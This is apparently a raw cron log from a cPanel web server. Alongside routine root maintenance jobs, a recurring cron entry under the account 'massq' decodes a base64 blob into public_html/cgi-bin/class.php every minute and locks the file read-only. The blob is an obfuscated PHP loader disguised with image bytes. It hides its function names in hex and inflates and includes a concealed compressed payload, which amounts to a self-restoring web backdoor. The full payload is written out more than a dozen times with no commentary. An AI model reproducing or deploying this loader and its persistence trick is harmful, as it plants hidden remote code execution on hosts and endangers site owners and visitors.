Sep 10 09:45:01 server CROND[20336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:46:01 server CROND[21140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:46:01 server CROND[21141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:46:01 server CROND[21142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:47:01 server CROND[21557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:47:01 server CROND[21558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:47:01 server CROND[21559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:48:01 server CROND[22014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:48:01 server CROND[22015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:48:01 server CROND[22016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:49:01 server CROND[22409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:49:01 server CROND[22411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:49:01 server CROND[22412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:50:01 server CROND[22828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:50:01 server CROND[22833]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:50:01 server CROND[22840]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:50:01 server CROND[22841]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 09:50:01 server CROND[22829]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:50:01 server CROND[22838]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 09:50:01 server CROND[22842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:50:01 server CROND[22857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:50:01 server CROND[22856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:51:01 server CROND[23834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:51:01 server CROND[23835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:51:01 server CROND[23836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:52:01 server CROND[24204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:52:01 server CROND[24205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:52:01 server CROND[24206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:53:01 server CROND[24678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:53:01 server CROND[24679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:53:01 server CROND[24680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:54:01 server CROND[25052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:54:01 server CROND[25053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:54:01 server CROND[25054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:55:01 server CROND[25442]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:55:01 server CROND[25443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:55:01 server CROND[25446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:55:01 server CROND[25445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:55:01 server CROND[25447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:55:01 server CROND[25449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:55:01 server CROND[25448]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 09:56:02 server CROND[26280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:56:02 server CROND[26281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:56:02 server CROND[26282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:57:01 server CROND[26653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:57:01 server CROND[26654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:57:01 server CROND[26655]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 09:57:01 server CROND[26656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:58:01 server CROND[27127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:58:01 server CROND[27128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
